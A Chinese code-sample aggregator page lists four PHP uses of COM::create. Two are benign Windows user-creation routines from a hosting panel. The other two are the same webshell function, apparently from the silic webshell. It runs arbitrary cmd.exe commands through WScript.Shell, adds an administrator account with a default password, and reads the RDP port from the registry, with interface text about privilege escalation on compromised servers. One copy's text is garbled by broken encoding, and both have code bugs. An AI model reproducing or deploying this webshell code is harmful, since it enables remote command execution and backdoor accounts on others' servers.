當前位置: 首頁>>代碼示例>>PHP>>正文


PHP COM::create方法代碼示例

本文整理匯總了PHP中COM::create方法的典型用法代碼示例。如果您正苦於以下問題:PHP COM::create方法的具體用法?PHP COM::create怎麽用?PHP COM::create使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在COM的用法示例。


在下文中一共展示了COM::create方法的4個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的PHP代碼示例。

示例1: os_create_system_user

function os_create_system_user($basename, $password, $id, $shell, $dir = "/tmp")
{
    $uobj = new COM("WinNT://.");
    try {
        $user = new COM("WinNT://./{$basename}");
    } catch (exception $e) {
        $user = $uobj->create("user", $basename);
    }
    $user->setPassword($password);
    $user->setInfo();
}
開發者ID:hypervm-ng,項目名稱:hypervm-ng,代碼行數:11,代碼來源:windowslib.php

示例2: createUser

 function createUser()
 {
     global $gbl, $sgbl, $login, $ghtml;
     $mn = $this->main;
     $passwd = $mn->password;
     $parentname = $mn->getParentName();
     //lxfile_mkdir("c:/webroot/home/root/hell");
     print "creatinguser\n";
     $obj = new COM("WinNT://.");
     try {
         $user = new COM("WinNT://./{$this->main->nname}");
         dprint("description\n");
         dprint($user->Description);
         dprint("\n");
         if ($user->Description === uuser::getUserDescription($this->main->getParentName())) {
             return true;
         } else {
             throw new lxexception("user_exists", 'web_s_uuser_nname', $this->main->nname);
         }
     } catch (exception $e) {
         $user = $obj->create("user", $this->main->nname);
         $user->HomeDirectory = convertTobackSlash("c:/webroot/{$parentname}/{$parentname}");
         //$user->Put("HomeDirDrive", "c:");
     }
     try {
         $user->setInfo();
     } catch (exception $e) {
         log_error("User Couldn't be created");
         throw new lxexception("user_exists", 'web_s_uuser_nname', $this->main->nname);
     }
     //$obj->AccountDisabled = true;
     $grp = new COM("WinNT://./Users");
     $grp->Add("WinNT://{$this->main->nname}");
     $user->setPassword($this->main->realpass);
     $user->Description = uuser::getUserDescription($this->main->getParentName());
     $user->setInfo();
 }
開發者ID:lonelywoolf,項目名稱:hypervm,代碼行數:37,代碼來源:uuser__windowslib.php

示例3: winshell

function winshell()
{
    $nop = '  ';
    if ($_GET['winshell'] == 'wscript') {
        $wcmd = $_POST['wcmd'] ? $_POST['wcmd'] : 'net user';
        $wcpth = $_POST['wcpth'] ? $_POST['wcpth'] : 'cmd.exe';
        print <<<END
<div class="actall">
<form action="?s=jk&winshell=wscript" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcpth}" style="width:300px;"> -&gt; CMD·��<br />
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcmd}" style="width:300px;"> <input type="submit" value="ִ��" style="width:80px;">
<br><br><br></form></div>
END;
        if ($_POST['do'] == 'do') {
            $ww = $wcpth . " /c " . $wcmd;
            $phpwsh = new COM("Wscript.Shell") or die("����Shell.Wscript����ʧ��");
            $phpexec = $phpwsh->exec($ww);
            $execoutput = $wshexec->stdout();
            $result = $execoutput->readall();
            echo $result;
            @$phpwsh->Release();
            $phpwsh = NULL;
        }
    } elseif ($_GET['winshell'] == 'shelluser') {
        $wuser = $_POST['wuser'] ? $_POST['wuser'] : 'silic';
        $wpasw = $_POST['wpasw'] ? $_POST['wpasw'] : '1234@silic#';
        print <<<END
<div class="actall">
<form action="?s=jk&winshell=shelluser" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
Shell.Users�������ӹ���Ա<br><br>
{$nop}�½��û�����<input type="text" name="wuser" id="wuser" value="{$wuser}" style="width:100px;"><br>
{$nop}���û����룺<input type="text" name="wpasw" id="wpasw" value="{$wpasw}" style="width:100px;"><br><br>
<input type="submit" value="����" style="width:80px;">
<br><br><br></form></div>
END;
        if ($_POST['do'] = 'do') {
            $shell = new COM("Shell.Users");
            $cmd = $shell->create($wuser);
            $cmd->changePassword($wpasw, "");
            $cmd->setting["AccountType"] = 3;
        }
    } elseif ($_GET['winshell'] == 'regedit') {
        $regpath = $_POST['regpath'] ? $_POST['regpath'] : 'HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber';
        print <<<END
<div class="actall">
<form action="?s=jk&winshell=regedit" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
RegRead()������ȡע��������(Shell.Wscript����)<br><br>
ע����·����<br>
{$nop}<input type="text" name="regpath" id="regpath" value="{$regpath}" style="width:720px;"><br><br>
<input type="submit" value="��ȡ����" style="width:80px;">
<br><br><br></form></div>
END;
        if ($_POST['do'] == 'do') {
            $shell = new COM("WScript.Shell") or die("����Shell.Wscript����ʧ��");
            try {
                $registry_proxystring = $shell->RegRead($regpath);
            } catch (Exception $e) {
                echo '����: ' . $e->getMessage();
            }
            echo $registry_proxystring;
        }
    } else {
        $tip = "�ݲ��Ա����ܿ��õĿ�����Ϊ����֮һ<br>Webshell���ڷ���������ΪWindowsϵͳ<br>PHP��Ȩ����������ڷdz����ε�ʱ�����Գ��Ա�����<br></h5><br><br><br>";
        print <<<END
<div class="actall"><pre>
<br><a href="?s=jk&winshell=wscript"> [ WScript���� ] </a><br><br>
<h5>������ʹ��PHP����Windows�����е�Wscript������<br>
Wscript����cmd��������<br>{$tip}<a href="?s=jk&winshell=shelluser"> [ Shell.User���� ] </a><br><br>
<h5>������ʹ��PHP����Windows�����е�Shell.user����<br>
USER����ΪWindowsϵͳ�û�������������<br>{$tip}<a href="?s=jk&winshell=regedit"> [ ע������ȡ ] </a><br><br>
<h5>������ʹ��PHP����Windows�����е�Shell.Wscript����<br>
RegRead()������ȡϵͳע��������<br>{$tip}</pre></div>
END;
    }
}
開發者ID:evil7,項目名稱:webshell,代碼行數:78,代碼來源:silic.php

示例4: winshell

function winshell()
{
    $nop = '&nbsp;&nbsp;';
    if ($_GET['winshell'] == 'wscript') {
        $wcmd = $_POST['wcmd'] ? $_POST['wcmd'] : 'net user';
        $wcpth = $_POST['wcpth'] ? $_POST['wcpth'] : 'cmd.exe';
        print <<<END
<div class="actall">
<form action="?s=jk&winshell=wscript" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcpth}" style="width:300px;"> -&gt; CMD路徑<br />
{$nop}<input type="text" name="wcmd" id="wcmd" value="{$wcmd}" style="width:300px;"> <input type="submit" value="執行" style="width:80px;">
<br><br><br></form></div>
END;
        if ($_POST['do'] == 'do') {
            $ww = $wcpth . " /c " . $wcmd;
            $phpwsh = new COM("Wscript.Shell") or die("創建Shell.Wscript組件失敗");
            $phpexec = $phpwsh->exec($ww);
            $execoutput = $wshexec->stdout();
            $result = $execoutput->readall();
            echo $result;
            @$phpwsh->Release();
            $phpwsh = NULL;
        }
    } elseif ($_GET['winshell'] == 'shelluser') {
        $wuser = $_POST['wuser'] ? $_POST['wuser'] : 'silic';
        $wpasw = $_POST['wpasw'] ? $_POST['wpasw'] : '1234@silic#';
        print <<<END
<div class="actall">
<form action="?s=jk&winshell=shelluser" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
Shell.Users組件添加管理員<br><br>
{$nop}新建用戶名:<input type="text" name="wuser" id="wuser" value="{$wuser}" style="width:100px;"><br>
{$nop}新用戶密碼:<input type="text" name="wpasw" id="wpasw" value="{$wpasw}" style="width:100px;"><br><br>
<input type="submit" value="添加" style="width:80px;">
<br><br><br></form></div>
END;
        if ($_POST['do'] = 'do') {
            $shell = new COM("Shell.Users");
            $cmd = $shell->create($wuser);
            $cmd->changePassword($wpasw, "");
            $cmd->setting["AccountType"] = 3;
        }
    } elseif ($_GET['winshell'] == 'regedit') {
        $regpath = $_POST['regpath'] ? $_POST['regpath'] : 'HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber';
        print <<<END
<div class="actall">
<form action="?s=jk&winshell=regedit" method="POST">
<input type="hidden" name="do" id="do" value="do"><br>
RegRead()函數讀取注冊表內容(Shell.Wscript組件)<br><br>
注冊表路徑:<br>
{$nop}<input type="text" name="regpath" id="regpath" value="{$regpath}" style="width:720px;"><br><br>
<input type="submit" value="讀取內容" style="width:80px;">
<br><br><br></form></div>
END;
        if ($_POST['do'] == 'do') {
            $shell = new COM("WScript.Shell") or die("創建Shell.Wscript組件失敗");
            try {
                $registry_proxystring = $shell->RegRead($regpath);
            } catch (Exception $e) {
                echo '內容: ' . $e->getMessage();
            }
            echo $registry_proxystring;
        }
    } else {
        $tip = "據測試本功能可用的可能性為萬分之一<br>Webshell所在服務器必須為Windows係統<br>PHP提權很靈活,但你在非常無奈的時候可以嘗試本功能<br></h5><br><br><br>";
        print <<<END
<div class="actall"><pre>
<br><a href="?s=jk&winshell=wscript"> [ WScript組件 ] </a><br><br>
<h5>本功能使用PHP調用Windows組件中的Wscript組件。<br>
Wscript為調用cmd命令組件<br>{$tip}<a href="?s=jk&winshell=shelluser"> [ Shell.User組件 ] </a><br><br>
<h5>本功能使用PHP調用Windows組件中的Shell.user組件<br>
USER組件為Windows係統用戶操作相關組件<br>{$tip}<a href="?s=jk&winshell=regedit"> [ 注冊表讀取 ] </a><br><br>
<h5>本功能使用PHP調用Windows組件中的Shell.Wscript組件<br>
RegRead()函數讀取係統注冊表內容<br>{$tip}</pre></div>
END;
    }
}
開發者ID:qingxp9,項目名稱:mywebshell,代碼行數:78,代碼來源:help.php


注:本文中的COM::create方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。